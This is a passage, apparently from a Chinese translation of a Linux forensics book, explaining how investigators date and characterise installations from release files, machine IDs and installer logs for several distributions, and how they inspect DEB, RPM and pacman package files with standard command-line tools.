典型的软件开发生命周期涉及在不同的时间点发布软件,包括 alpha 版、beta 版、候选版和正式版。该模型包括发布前测试、固定(冻结)稳定版本和发布后的更新。固定版本提供更高的稳定性,并且更容易获得支持。发行版的版本号与内核版本号独立(尽管正是内核让它成为了 Linux)。每个单独的软件包都有自己的版本号,这些版本号也独立于发行版版本号。

基于 systemd 的现代 Linux 安装提供详细的版本信息,通常存储在/etc/os-release文件中(通常是指向/usr/lib/os-release的符号链接);例如:

$ cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

这个文件的设计目的是可以从 shell 脚本中读取(每一行都是一个已赋值的变量)。这个示例中的变量大多数是显而易见的,但你可以参考 os-release(5)手册页以获取更多信息。基于 systemd 的发行版也可能将本地机器的信息(如位置、部署等)存储在/etc/machine-info文件中。有关更多信息,请参见 machine-info(5)手册页。

Linux 标准基础(LSB)还定义了/etc/distro.release/etc/ lsb-release文件,用于提供发行版版本信息,一些发行版可能会包括 LSB 信息文件。有关更多信息,请参见 lsb_release(1)手册页和lsb_release源代码(它是一个简单的脚本)。以下是一个示例:

$ cat /etc/lsb-release
DISTRIB_ID=LinuxMint
DISTRIB_RELEASE=20
DISTRIB_CODENAME=ulyana
DISTRIB_DESCRIPTION="Linux Mint 20 Ulyana"

一些发行版将版本信息写入/etc/目录中的其他小文本文件。例如,在 Fedora 中:

$ cat /etc/fedora-release
Fedora release 33 (Thirty Three)

Debian 将信息存储在/etc/debian_version文件中。通过搜索所有匹配/etc/release/etc/version的文件,可以找到最常见的发行版和版本信息文件。

一些发行版还会将版本和发布信息写入/etc/issue/etc/motd文件,这些文件在用户通过 shell 或网络登录时显示。例如:

$ cat /etc/issue
Welcome to openSUSE Tumbleweed 20201111 - Kernel \r (\l).

滚动发布发行版通常使用最后一次更新的日期作为版本号。

唯一机器 ID

现代 Linux 系统有一个在安装过程中创建的唯一标识符。/etc/machine-id文件(可能会被复制或与存储在/var/lib/dbus/machine-id中的 D-Bus 机器 ID 创建符号链接)包含一个随机生成的 128 位十六进制字符串,如下所示:

$ cat /etc/machine-id
8635db7eed514661b9b1f0ad8b249ffd

这个唯一的标识字符串可以用于匹配在多个地方部署的相同复制/重复的机器,或者用于匹配具有完整系统备份的系统。此文件的创建时间戳是安装时间的潜在指示符。有关详细信息,请参见 machine-id(5) 手册页。Raspberry Pi 镜像最初包含一个空的/etc/machine-id文件,该文件在首次启动时初始化。

符合 POSIX 标准的系统通常具有一个 hostid,它通常是 IP 地址的十六进制表示(来自/etc/hosts文件或 DNS 查询)。这个 ID 可以存储在/etc/hostid文件中(尽管大多数发行版没有它),并且可以通过执行hostid命令或从程序中调用gethostid()来在运行中的系统上找到。

系统主机名

机器的主机名是另一个标识符。该主机名在启动时或网络重新配置期间由内核设置。主机名可以在安装过程中手动指定,也可以在 DHCP 网络配置过程中动态分配。系统管理员选择主机名,该主机名在其负责的机器中或在一个 DNS 域内通常是唯一的。然而,主机名通常不能保证是唯一的。

系统的名称通常以非 FQDN 格式存储在/etc/hostname文件中。虽然允许使用完全限定的域名(FQDN),但通常不推荐使用。

如果在/etc/hostname(或其他特定发行版的位置)中指定了主机名,或者从 DHCP 请求中返回了主机名,则运行的内核将相应地进行配置。具有多个接口、多重 IP 地址(每个地址解析为不同的 DNS 名称)或流动设备(笔记本电脑和移动设备)的主机将仍然有一个主机名,代表整个系统。涉及主机名、DNS 域名、接口等的网络配置在第八章中进行了解释。

发行版安装程序分析

分析 Linux 系统的初始安装涉及识别日志和文件的位置,这些日志和文件可能包含有趣的信息。初始的 Linux 安装可以是用户交互式的,也可以是自动化/无人值守的(企业部署)。无论哪种情况,都需要指定一组基本的配置参数来引导安装过程。安装系统时需要做出的典型决策信息如下:

  • 语言、区域设置、键盘布局和时区

  • 磁盘分区、文件系统和挂载点

  • 磁盘或用户目录的加密

  • 初始用户名和密码,以及 root 密码(除非使用 sudo)

  • 基本系统类型(桌面、无头服务器等的选择)

  • 基本服务(网页服务器、通过 SSH 远程访问、打印等)

  • 软件仓库的选择,非自由软件

自动化企业安装(例如 Red Hat 的 Kickstart 或 SUSE 的 AutoYaST 等)不在本书的讨论范围内。

在分析安装过程时,数字取证调查员试图回答几个基本问题:

  • 系统是什么时候安装的?

  • 安装过程中提供的初始设置是什么?

  • 是否保存了任何有用或有趣的信息?

  • 安装过程中(或仓库)是否有任何异常情况?

根据正在进行的事件类型或调查,可能需要回答与安装相关的其他更具体问题。

在构建时间轴时,请记住系统安装不是一个单一的时间点,而是一个包含开始和结束时间戳的过程。根据机器的速度、网络连接和已安装软件包的数量,安装可能需要超过几分钟才能完成。如果安装是交互式的,而用户未能及时回答提示问题,则安装可能看起来需要几个小时或更长时间才能完成(当用户回到安装提示时)。

还需要注意,安装的开始时间戳可能不可靠。当计算机使用安装介质启动时,时间尚未同步,时区尚未选择。安装程序可能仍会生成日志,但它将使用计算机或虚拟机(VM)主机的当前时间(在某些特殊情况下,这个时间差可能从调查角度来看也很有趣)。一旦配置了网络、确定了时区并同步了时钟,日志将包含更可靠的时间戳。

一个名为 systemd-firstboot 的 systemd 服务能够在系统首次启动时提供自动化或交互式配置。有关更多信息,请参阅 systemd-firstboot(1) 手册页。

Debian 安装程序

Debian 系统的初始安装使用了Debian 安装程序。^(2) Debian 安装程序本身是一个 Linux 系统,可以从 CD/DVD、USB 闪存驱动器、网络或从下载的镜像文件(用于虚拟机)启动。文档定义了 Debian 安装的多个阶段:

启动与初始化 安装程序的初次启动;键盘、语言和区域设置选择;硬件检测

加载附加组件 选择镜像,获取并解压附加组件

网络配置 检测网络硬件并配置网络

分区 检测附加存储,分区驱动器,创建文件系统,定义挂载点

安装目标系统 安装基础系统和用户选择的软件包,设置用户账户,完成安装并重启

完成的 Debian 安装的日志保存在 /var/log/installer/ 目录下,并提供了初次安装时的信息快照。这个快照可能很有趣。例如,考虑下面这个来自典型 Debian 安装的安装日志目录:

$ ls -lR /var/log/installer/
/var/log/installer/:
total 1208
drwxr-xr-x 2 root root   4096 Mar 5 02:43 cdebconf
-rw-r--r-- 1 root root  35283 Mar 5 02:43 hardware-summary
-rw-r--r-- 1 root root    160 Mar 5 02:43 lsb-release
-rw------- 1 root root  81362 Mar 5 02:43 partman
-rw-r--r-- 1 root root  72544 Mar 5 02:43 status
-rw------- 1 root root 988956 Mar 5 02:43 syslog
-rw------- 1 root root  43336 Mar 5 02:43 Xorg.0.log

/var/log/installer/cdebconf:
total 14668
-rw------- 1 root root   119844 Mar 5 02:43 questions.dat
-rw------- 1 root root 14896576 Mar 5 02:43 templates.dat

hardware-summary 文件提供了安装时机器硬件的信息,包括 PCI 总线上的设备和附加的 USB 设备列表。lsb-release 文件包含了最初安装的发行版本信息(在任何升级之前)。partman 文件是驱动器设置过程的输出,包含存储设备、分区信息和创建的文件系统。status 文件包含安装时所有已安装软件包(包括版本)的详细列表。syslog 文件包含在整个安装过程中发送到标准 syslog 的信息(包括时间戳)。桌面系统还可能包含一个 Xorg.0.log 文件,包含 X11 服务器的启动输出,其中有关于显卡、显示器和附加外设输入设备的信息。cdebconf 包含在安装过程中做出的选项和选择的文件。这些文件提供了关于安装时系统状态的洞察。

基于 Ubuntu 的系统有一个可启动的实时系统(称为 Casper),并带有一个名为 Ubiquity 的图形化安装程序。Debian 安装程序作为 Ubiquity 的后台使用,并将文件保存在 /var/log/installer/ 目录下,但内容略有不同。以下是一个示例:

$ ls -l /var/log/installer/
total 1096
-rw------- 1 root root   1529 Mar 5 11:22 casper.log
-rw------- 1 root root 577894 Mar 5 11:22 debug
-rw-r--r-- 1 root root 391427 Mar 5 11:22 initial-status.gz
-rw-r--r-- 1 root root     56 Mar 5 11:22 media-info
-rw------- 1 root root 137711 Mar 5 11:22 syslog

casper.logdebug 文件是安装脚本的输出,包含错误信息。media-info 文件显示安装时的发行版本信息。一些基于 Ubuntu 的发行版(例如 Mint)可能还有一个版本文件。initial-status.gz 文件(压缩文件)包含最初安装的软件包列表。

Raspberry Pi Raspian

Raspberry Pi 使用基于 Debian 的发行版,称为 Raspian。无需 Debian 安装程序,因为 Raspian 已作为预装镜像文件提供下载。此预装镜像有两种格式:

NOOBS 一个适合初学者的过程,用户只需要格式化 SD 卡(FAT),然后复制文件,不需要任何特殊工具

驱动器镜像 一个原始镜像,需要解压并使用 dd 或类似工具传输到 SD 卡

因为没有传统意义上的“安装”,调查人员需要确定用户第一次打开 Pi 并保存初始设置的时间。然而,由于种种原因,找到这个初始设置时间是很棘手的。初始文件系统时间戳来自下载的 Raspian 镜像,而不是本地安装脚本创建的。树莓派没有带电池备份的硬件时钟^(3),因此每次开机时,时钟都会从 Unix 纪元(1970 年 1 月 1 日 00:00)开始。启动的操作系统会将时钟设置为距离上次关机最近的时间,直到网络时间同步完成(关于系统时间的更多细节,请参见第九章)。默认情况下,文件系统会以noatime选项挂载,因此最后访问的时间戳不会更新。其他时间戳可能已经更新,并且日志条目可能会在正确的时间设置之前就被写入,这使得这些时间戳不可靠。

当第一次使用树莓派时,文件系统会被调整大小以适应 SD 卡。重启后,piwiz 应用程序启动^(4),允许用户配置网络、重置密码(默认密码是 raspberry)并指定国家、语言和时区设置。piwiz 应用程序会从文件 /etc/xdg/autostart/piwiz.desktop 自动启动,用户提供初始设置后,该文件会被删除。如果这个 piwiz.desktop 文件仍然存在,那就意味着树莓派的安装尚未使用。如果你的文件系统取证分析工具能够确定文件 /etc/xdg/autostart/piwiz.desktop 被删除的时间,那将表明安装完成的大致时间。另一种方法是查找 /var/log/dpkg.log 文件中的第一个条目的时间戳(或最早的已保存日志轮换)。当 piwiz 运行时,包会首次更新,这通常发生在时间同步成功之后。

Fedora Anaconda

基于 Fedora 的系统(如 CentOS、Red Hat 等)使用名为 Anaconda 的安装程序^(5)。在初始桌面安装完成并且新系统首次重启后,一个名为 Initial Setup 的独立应用程序会运行。该应用程序可以提供额外的配置选项,包括用户同意最终用户许可协议(EULA)。

Anaconda 安装程序会在 /var/log/anaconda/ 文件夹中留下初始安装的日志文件,内容如下所示:

# ls -l /var/log/anaconda/
total 3928
-rw-------. 1 root root   36679 Mar 24 11:01 anaconda.log
-rw-------. 1 root root    3031 Mar 24 11:01 dbus.log
-rw-------. 1 root root  120343 Mar 24 11:01 dnf.librepo.log
-rw-------. 1 root root     419 Mar 24 11:01 hawkey.log
-rw-------. 1 root root 2549099 Mar 24 11:01 journal.log
-rw-------. 1 root root       0 Mar 24 11:01 ks-script-sot00yjg.log
-rw-------. 1 root root  195487 Mar 24 11:01 lvm.log
-rw-------. 1 root root  327396 Mar 24 11:01 packaging.log
-rw-------. 1 root root    7044 Mar 24 11:01 program.log
-rw-------. 1 root root    2887 Mar 24 11:01 storage.log
-rw-------. 1 root root  738078 Mar 24 11:01 syslog
-rw-------. 1 root root   22142 Mar 24 11:01 X.log

anaconda.log 文件记录了各种安装任务的进度。X.log 文件显示了 Anaconda 使用的 Xorg 服务器的输出,并包含了安装时关于显卡、显示器和附加外设输入设备的信息。

journal.logsyslog文件非常相似,主要区别在于journal.log显示了更多的 dracut 活动(参见第六章)。它们都包含内核(dmesg 输出)和系统初始化(systemd)的日志,这些日志记录了第一次安装时的信息。这些日志有助于确定安装的开始和结束时间。关于存储设备、分区和卷管理的信息可以在storage.loglvm.log中找到。dnf.librepo.log文件列出了所有下载用于安装的包。ks-script-.log文件包含来自 kickstart 脚本的日志输出。其他文件则包含 D-Bus 活动和库调用的日志。有关 Anaconda 日志的更多信息,请参见fedoraproject.org/wiki/Anaconda/Logging*。

这些日志提供了关于用户指定的配置、原始机器的硬件、已安装的软件包以及安装时的存储配置的信息。

SUSE YaST

SUSE Linux 拥有今天仍在维护的最古老的发行版安装程序之一。YaST,或称“另一个设置工具”,旨在将初始安装与其他系统配置任务整合为一个工具。^(6) YaST 可用于安装系统、设置外设(如打印机)、安装软件包、配置硬件、配置网络等。SUSE 还提供 AutoYaST,用于无人值守的企业部署。

YaST 日志目录是/var/log/YaST2/。它包含来自安装过程和其他常规配置任务的日志。安装过程中的日志被存储在压缩归档文件yast-installation-logs.tar.xz中,从取证的角度来看,这些日志尤其重要。以下是一个示例(部分)内容列表:^(7)

# tar -tvf yast-installation-logs.tar.xz
-rw-r--r-- root/root     938 2020-03-05 08:35 etc/X11/xorg.conf
drwxr-xr-x root/root       0 2020-02-12 01:14 etc/X11/xorg.conf.d/
-rw-r--r-- root/root     563 2020-03-03 20:30 linuxrc.config
-rw-r--r-- root/root     322 2020-02-26 01:00 etc/os-release
...
-rw-r--r-- root/root   21188 2020-03-05 08:35 Xorg.0.log
-rw-r--r-- root/root   25957 2020-03-05 08:38 linuxrc.log
-rw-r--r-- root/root   17493 2020-03-05 08:34 wickedd.log
-rw-r--r-- root/root   46053 2020-03-05 08:35 boot.msg
-rw-r--r-- root/root  104518 2020-03-05 08:55 messages
-rw-r--r-- root/root    5224 2020-03-05 08:55 dmesg
-rw-r--r-- root/root      17 2020-03-05 08:55 journalctl-dmesg
-rw-r--r-- root/root     738 2020-03-05 08:55 install.inf
-rw------- root/root    3839 2020-03-05 08:55 pbl-target.log
-rw-r--r-- root/root     141 2020-03-05 08:55 rpm-qa
-rw-r--r-- root/root   27563 2020-03-05 08:55 _packages.root

安装时的发布信息可以在子目录etc/os-release中找到。文件Xorg.0.log包含关于图形卡、显示器和安装时附加的外设输入设备的信息。boot.msgdmesgmessages文件包含来自安装过程、内核环形缓冲区以及安装时的其他信息的日志。来自网络管理器的wickedd.log文件记录了网络配置,包括系统的 IP 和安装时的其他网络配置。

此目录中日志文件条目的开始和结束时间提供了安装发生的大致时间段。

Arch Linux

原生的 Arch Linux 系统没有一个舒适的安装程序。启动 Arch 安装媒体后,用户会进入一个根 shell 并附带一个指向 wiki 安装指南的引用(早期版本中有一个install.txt文件,里面包含了更多的安装说明)。用户需要手动创建分区和文件系统,然后运行pacstrap脚本,填充已挂载的安装目标目录。之后,用户进入 chroot 环境并手动完成安装。安装过程的详细信息可以参考wiki.archlinux.org/index.php/Installation_guide

一个名为archinstall的基本安装脚本包含在 Arch Linux 安装媒体中。如果使用此脚本,它会将初始配置设置和活动记录到/var/log/archinstall/install.log中。

根目录的创建时间戳(Birth:)(如果文件系统支持的话)大致表示安装开始的时间:

# stat /
  File: /
  Size: 4096       Blocks: 16     IO Block: 4096  directory
Device: fe01h/65025dInode: 2       Links: 17
Access: (0755/drwxr-xr-x) Uid: (  0/  root)  Gid: (  0/  root)
Access: 2020-03-05 10:00:42.629999954 +0100
Modify: 2020-02-23 10:29:55.000000000 +0100
Change: 2020-03-05 09:59:36.896666639 +0100
 Birth: 2020-03-05 09:58:55.000000000 +0100

安装 Arch 是一个手动且持续的过程。用户可以继续安装和调整系统,直到无尽,因此在这个背景下,安装的“结束”时间可能并没有意义。

安装 Arch Linux 的简洁而不直观的过程催生了多个发行版,供那些希望获得前沿滚动更新发行版的所有好处,但又希望有一个舒适安装过程的用户使用。最受欢迎的基于 Arch 的发行版是 Manjaro。

Manjaro 的安装程序叫做 Calamares,它提供了最小化的安装过程日志。这些日志保存在/var/log/Calamares.log中。Calamares.log的内容包括指定的配置(时区、语言环境等)、分区信息、用户信息等。Calamares(在 Manjaro 上)不会记录 IP 地址,但它会执行 Geo-IP 查找以确定正在安装系统的位置:

# grep Geo /var/log/Calamares.log
2020-03-05 - 08:57:31 [6]: GeoIP result for welcome= "CH"
2020-03-05 - 08:57:33 [6]: GeoIP reporting "Europe/Zurich"

Calamares 因 Manjaro 而广为人知,但它的开发目的是作为任何发行版的通用安装程序。有关 Calamares 的更多信息,请参见calamares.io/

包文件格式分析

本节介绍了常见 Linux 发行版中使用的各个软件包的文件格式。Linux 发行版软件包是单一的归档文件,包含了安装和移除这些软件包所需的所有信息和文件。此外,Linux 系统通常有包管理系统,用来追踪已安装的包、管理依赖关系、执行更新等。

分析软件包文件可以揭示一些有趣的证据。一些可以对包文件进行的法医分析任务包括:

  • 查找包何时构建

  • 验证包的完整性

  • 显示包元数据

  • 列出包文件内容

  • 提取支持脚本

  • 提取单个文件

  • 标识额外的时间戳

此外,漏洞评估可能涉及将单个包的版本号与已知的公开漏洞进行匹配;例如,将系统上安装的特定软件版本与 Mitre 发布的 CVE 进行匹配(* cve.mitre.org/*)。这通常是组织内企业漏洞管理职能的任务。

Debian 二进制包格式

Debian 二进制包格式(DEB)被 Debian 及其衍生发行版使用。有关更多信息,请参见 Debian 或 Debian 衍生系统上的 deb(5)手册页。DEB 文件具有.deb扩展名,并具有一个初始的七字符魔术字符串(!<arch>)。图 7-1 在下一页中显示了 DEB 文件的结构。

DEB 文件使用ar档案格式,包含三个标准组件。在此示例中,使用 GNU ar命令列出了ed包(一个行编辑器):

$ ar -tv ed_1.15-1_amd64.deb
rw-r--r-- 0/0     4 Jan 3 15:07 2019 debian-binary
rw-r--r-- 0/0  1160 Jan 3 15:07 2019 control.tar.xz
rw-r--r-- 0/0 58372 Jan 3 15:07 2019 data.tar.xz

在此示例中,ar的标志(-tv)指定了详细列出内容。文件时间戳表示 DEB 包档案的构建时间。

档案中的三个文件包含以下内容:

debian-binary 一个包含包格式版本字符串的文件

control 一个包含包的脚本/元数据的压缩档案

data 一个包含要安装文件的压缩档案

这些组件可以通过ar提取:

$ ar -xov ed_1.15-1_amd64.deb
x - debian-binary
x - control.tar.xz
x - data.tar.xz

(-xov)标志指示ar提取文件、保留原始时间戳,并显示详细输出。control.tar.xzdata.tar.xz文件是可以进一步检查的压缩档案。

Image

图 7-1:Debian “DEB”包格式(修改自维基百科: upload.wikimedia.org/wikipedia/commons/6/67/Deb_File_Structure.svg)

debian-binary文件包含一行,表示包格式版本号(2.0)。为了列出档案的内容,我们依赖tar来解压文件并列出档案内容:

$ cat debian-binary
2.0
$ tar -tvf control.tar.xz
drwxr-xr-x root/root       0 2019-01-03 15:07 ./
-rw-r--r-- root/root     506 2019-01-03 15:07 ./control
-rw-r--r-- root/root     635 2019-01-03 15:07 ./md5sums
-rwxr-xr-x root/root     287 2019-01-03 15:07 ./postinst
-rwxr-xr-x root/root     102 2019-01-03 15:07 ./prerm
$ tar -tvf data.tar.xz
drwxr-xr-x root/root       0 2019-01-03 15:07 ./
drwxr-xr-x root/root       0 2019-01-03 15:07 ./bin/
-rwxr-xr-x root/root   55424 2019-01-03 15:07 ./bin/ed
-rwxr-xr-x root/root      89 2019-01-03 15:07 ./bin/red
drwxr-xr-x root/root       0 2019-01-03 15:07 ./usr/
drwxr-xr-x root/root       0 2019-01-03 15:07 ./usr/share/
drwxr-xr-x root/root       0 2019-01-03 15:07 ./usr/share/doc/
drwxr-xr-x root/root       0 2019-01-03 15:07 ./usr/share/doc/ed/
-rw-r--r-- root/root     931 2012-04-28 19:56 ./usr/share/doc/ed/AUTHORS
-rw-r--r-- root/root     576 2019-01-01 19:04 ./usr/share/doc/ed/NEWS.gz
-rw-r--r-- root/root    2473 2019-01-01 18:57 ./usr/share/doc/ed/README.gz
-rw-r--r-- root/root     296 2016-04-05 20:28 ./usr/share/doc/ed/TODO
...

如果我们想从.tar.xz档案中提取特定文件,可以使用相同的命令,但给tar指令来提取该文件:

$ tar xvf control.tar.xz ./control
./control
$ cat ./control
Package: ed
Version: 1.15-1
Architecture: amd64
Maintainer: Martin Zobel-Helas <zobel@debian.org>
Installed-Size: 111
Depends: libc6 (>= 2.14)
Section: editors
Priority: optional
Multi-Arch: foreign
Homepage: https://www.gnu.org/software/ed/
Description: classic UNIX line editor
 ed is a line-oriented text editor. It is used to
...

提取的控制文件的内容列出了版本、CPU 架构、维护者、依赖关系和其他信息。control文件是必需的,control.tar.xz组件中的其他文件是可选的。其他常见的包控制文件包括安装前、安装后、删除前和删除后脚本(分别为preinstpostinstprermpostrm)。有关control文件的更多信息,请参见 deb-control(5)手册页。

我们可以以相同的方式从数据归档中提取文件和目录。然而,这样做会将完整的目录树提取到当前工作目录,并指定文件。也可以将单个文件提取到stdout,并将其重定向到文件或程序中。在此示例中,使用-xOf标志(O是大写字母 O,而不是零)提取单个文件到stdout

$ tar -xOf data.tar.xz ./usr/share/doc/ed/AUTHORS
Since 2006 GNU ed is maintained by Antonio Diaz Diaz.

Before version 0.3, GNU ed and its man page were written and maintained
(sic) by Andrew L. Moore.

The original info page and GNUification of the code were graciously
provided by FranÃğois Pinard.
...

可以使用文件重定向保存单个文件,或者将整个归档解压到本地分析目录。

虽然不是强制性的,但 DEB 包通常包含一个 MD5 哈希值列表,用于验证文件完整性。这些哈希值存储在包归档文件的控制组件中的md5sums文件中。此示例显示包中预期的 MD5 哈希值列表,后跟已安装二进制文件的验证:

$ tar -xOf control.tar.xz ./md5sums
9a579bb0264c556fcfe65bda637d074c bin/ed
7ee1c42c8afd7a5fb6cccc6fa45c08de bin/red
318f005942f4d9ec2f19baa878f5bd14 usr/share/doc/ed/AUTHORS
ad0755fb50d4c9d4bc23ed6ac28c3419 usr/share/doc/ed/NEWS.gz
f45587004171c32898b11f8bc96ead3c usr/share/doc/ed/README.gz
3eef2fe85f82fbdb3cda1ee7ff9a2911 usr/share/doc/ed/TODO
...
$ md5sum /bin/ed
9a579bb0264c556fcfe65bda637d074c /bin/ed

md5sum工具有一个标志(-c),它从像md5sums这样的文件中读取 MD5 列表,并对列出的所有文件进行检查。曾有讨论建议将md5sums文件替换为 SHA 哈希值(有关更多信息,请参阅wiki.debian.org/Sha256sumsInPackages)。

在 Debian 系统上,dpkg-deb工具执行所有上述分析任务,如列出文件、提取文件、查看控制数据等。如果您正在尝试从损坏的 DEB 文件中恢复数据,ar -tOO是大写字母 O,而不是零)将提供三个组件的十六进制偏移量,这可能允许使用诸如dd之类的工具进行提取。

红帽软件包管理器

红帽软件包管理器(RPM) 是由红帽公司开发的二进制包格式。RPM 包可以通过.rpm扩展名和文件开头的四字节魔术字符串(ED AB EE DB)进行识别。RPM 包文件的结构在rpm工具的源代码中有详细说明,文件/doc/manual/format描述了四个逻辑部分:

引导 96 字节的“魔术”信息及其他信息

签名 “数字签名”集合

头部 存放所有包信息的区域(即元数据)

有效载荷 软件包中文件的压缩归档(即有效载荷)

rpm命令也可以安装在非 Red Hat 发行版上,可以在单独的分析机器上使用。查询标志(-q)可用于分析 RPM 文件的各个方面。在此示例中,-q-i标志提供了关于xwrits RPM 包文件的信息概述:

$ rpm -q -i xwrits-2.26-17.fc32.x86_64.rpm
Name        : xwrits
Version     : 2.26
Release     : 17.fc32
Architecture: x86_64
Install Date: (not installed)
Group       : Unspecified
Size        : 183412
License     : GPLv2
Signature   : RSA/SHA256, Sat 01 Feb 2020 01:17:59 AM, Key ID 6c13026d12c944d0
Source RPM  : xwrits-2.26-17.fc32.src.rpm
Build Date  : Fri 31 Jan 2020 09:43:09 AM
Build Host  : buildvm-04.phx2.fedoraproject.org
Packager    : Fedora Project
Vendor      : Fedora Project
URL         : http://www.lcdf.org/xwrits/
Bug URL     : https://bugz.fedoraproject.org/xwrits
Summary     : Reminds you take wrist breaks
Description :
Xwrits reminds you to take wrist breaks, which
should help you prevent or manage a repetitive
stress injury. It pops up an X window when you
...

您可以使用以下标志(在rpm -q之后)以及 RPM 文件名查看其他 RPM 元数据:

-lv    显示软件包中文件的详细列表

–dump 转储文件信息(路径、大小、修改时间、摘要、模式、所有者、组、是否配置、是否文档、设备号、符号链接)

–changes 显示包的变更信息,包含完整时间戳(--changelog与此相同,但带有日期)

–提供 该软件包提供的功能列表

–enhances 列出软件包增强的功能

–obsoletes 列出了此包淘汰的包

–conflicts 列出了此包与之冲突的功能

–requires 列出了此包所依赖的功能

–recommends 列出了包所推荐的功能

–suggests 列出了包所建议的功能

–supplements 列出了包所补充的功能

–scripts 列出了作为安装和卸载过程一部分使用的特定包脚本

–filetriggers 列出了包中的文件触发脚本

–triggerscripts 显示包中包含的触发脚本(如果有)

该列表摘自 rpm(9) 手册页,您可以在其中找到有关 rpm 文件的更多信息。如果某个标志没有输出,则该头字段为空。

从 RPM 包中提取单个文件是一个两步过程。首先,从 RPM 中提取有效载荷,然后从该有效载荷中提取所需的文件。rpm2cpiorpm2archive 工具会创建一个 cpio 或压缩 tar(.tgz)归档文件,其中包含 RPM 的有效载荷。这些文件是大多数文件管理器和取证工具应该能够浏览以进行文件导出/提取的。

在以下示例中,从 RPM 中提取单个文件。首先提取 RPM 的有效载荷,然后识别并提取单个文件:

$ rpm2cpio xwrits-2.26-17.fc32.x86_64.rpm > xwrits-2.26-17.fc32.x86_64.rpm.cpio
$ cpio -i -tv < xwrits-2.26-17.fc32.x86_64.rpm.cpio
...
-rw-r--r--  1 root   root     1557 Oct 16 2008 ./usr/share/doc/xwrits/README
...
$ cpio -i --to-stdout ./usr/share/doc/xwrits/README < xwrits-2.26-17.fc32.x86_64.rpm.cpio
XWRITS VERSION 2.25
===================
ABOUT XWRITS
------------
  Xwrits was written when my wrists really hurt. They don't any more --
...

运行 rpm2cpio 命令,并将输出重定向到文件(文件名可以是任何名称,但为了清晰起见,我使用了相同的文件名并加上 .cpio 扩展名)。下一个命令列出了 cpio 存档,以查找要提取的文件。最后一个命令将文件提取到 stdout,可以通过管道或重定向到程序或文件。

RPM 包头包含加密签名和哈希值,用于验证有效载荷的完整性。完整性检查可以使用 rpmkeys^(8) 命令完成,并可以通过 -Kv 标志以详细模式查看:

$ rpmkeys -Kv xwrits-2.26-17.fc32.x86_64.rpm
xwrits-2.26-17.fc32.x86_64.rpm:
    Header V3 RSA/SHA256 Signature, key ID 12c944d0: OK
    Header SHA256 digest: OK
    Header SHA1 digest: OK
    Payload SHA256 digest: OK
    V3 RSA/SHA256 Signature, key ID 12c944d0: OK
    MD5 digest: OK

可以使用 rpmkeys 命令导入已签名 RPM 包的 GPG 密钥。有关更多信息,请参阅 rpmkeys(8) 手册页。

Arch Pacman 包

Arch Linux 的包是压缩的 tar 文件。当前默认的压缩格式正在从 XZ 过渡到 Zstandard,文件扩展名分别为 .xz.zst。^(9) 该 tar 文件包含了包的元数据以及要安装的文件。

我们可以使用 tar 查看 pacman 包的内容:

$ tar -tvf acpi-1.7-2-x86_64.pkg.tar.xz
-rw-r--r-- root/root     376 2017-08-15 19:06 .PKGINFO
-rw-r--r-- root/root    3239 2017-08-15 19:06 .BUILDINFO
-rw-r--r-- root/root     501 2017-08-15 19:06 .MTREE
drwxr-xr-x root/root       0 2017-08-15 19:06 usr/
drwxr-xr-x root/root       0 2017-08-15 19:06 usr/share/
drwxr-xr-x root/root       0 2017-08-15 19:06 usr/bin/
-rwxr-xr-x root/root   23560 2017-08-15 19:06 usr/bin/acpi
drwxr-xr-x root/root       0 2017-08-15 19:06 usr/share/man/
drwxr-xr-x root/root       0 2017-08-15 19:06 usr/share/man/man1/
-rw-r--r-- root/root     729 2017-08-15 19:06 usr/share/man/man1/acpi.1.

本例展示了包格式的简洁性。归档文件的根目录中包含包的元数据。这些文件在 Arch Linux Wiki 中有所描述(*wiki.archlinux.org/index.php/Creating_packages)并包括:

.PKGINFO 包含 pacman 处理包、依赖项等所需的所有元数据。

.BUILDINFO 包含了可重复构建所需的信息。此文件仅在使用 Pacman 5.1 或更高版本构建包时存在。

.MTREE 包含文件的哈希值和时间戳,这些文件包含在本地数据库中,以便pacman验证软件包的完整性。

.INSTALL 一个可选文件,用于在安装/升级/删除阶段后执行命令(该文件仅在PKGBUILD中指定时存在)。

.Changelog 包维护者保存的可选文件,记录软件包的变化。

.PKGINFO 文件是常规文本,可以轻松查看,但使用pacman工具可以提供更完整的输出(包括未定义的字段)。-Qip标志分别指定查询操作、信息选项和目标软件包文件名:

$ pacman -Qip acpi-1.7-2-x86_64.pkg.tar.xz
Name            : acpi
Version         : 1.7-2
Description     : Client for battery, power, and thermal readings
Architecture    : x86_64
URL             : https://sourceforge.net/projects/acpiclient/files/acpiclient/
Licenses        : GPL2
Groups          : None
Provides        : None
Depends On      : glibc
Optional Deps   : None
Conflicts With  : None
Replaces        : None
Compressed Size : 10.47 KiB
Installed Size  : 24.00 KiB
Packager        : Alexander RÃÿdseth <rodseth@gmail.com>
Build Date      : Di 15 Aug 2017 19:06:50
Install Script  : No
Validated By    : None
Signatures      : None

.MTREE 文件是一个压缩的时间戳、权限、文件大小和加密哈希的列表。我们可以通过将tar输出管道传输到zcat来提取它:

$ tar -xOf acpi-1.7-2-x86_64.pkg.tar.xz .MTREE | zcat
#mtree
/set type=file uid=0 gid=0 mode=644
./.BUILDINFO time=1502816810.765987104 size=3239 md5digest=0fef5fa26593908cb0958537839f35d6
sha256digest=75eea1aee4d7f2698d662f226596a3ccf76e4958b57e8f1b7855f2eb7ca50ed5
./.PKGINFO time=1502816810.745986656 size=376 md5digest=c6f84aeb0bf74bb8a1ab6d0aa174cb13
sha256digest=83b005eb477b91912c0b782808cc0e87c27667e037766878651b39f49d56a797
/set mode=755
./usr time=1502816810.602650109 type=dir
./usr/bin time=1502816810.685985311 type=dir
./usr/bin/acpi time=1502816810.682651903 size=23560 md5digest=4ca57bd3b66a9afd517f49e13f19688f
sha256digest=c404597dc8498f3ff0c1cc026d76f7a3fe71ea729893916effdd59dd802b5181
./usr/share time=1502816810.592649885 type=dir
./usr/share/man time=1502816810.592649885 type=dir
./usr/share/man/man1 time=1502816810.699318943 type=dir
./usr/share/man/man1/acpi.1.gz time=1502816810.609316926 mode=644 size=729
md5digest=fb0da454221383771a9396afad250a44
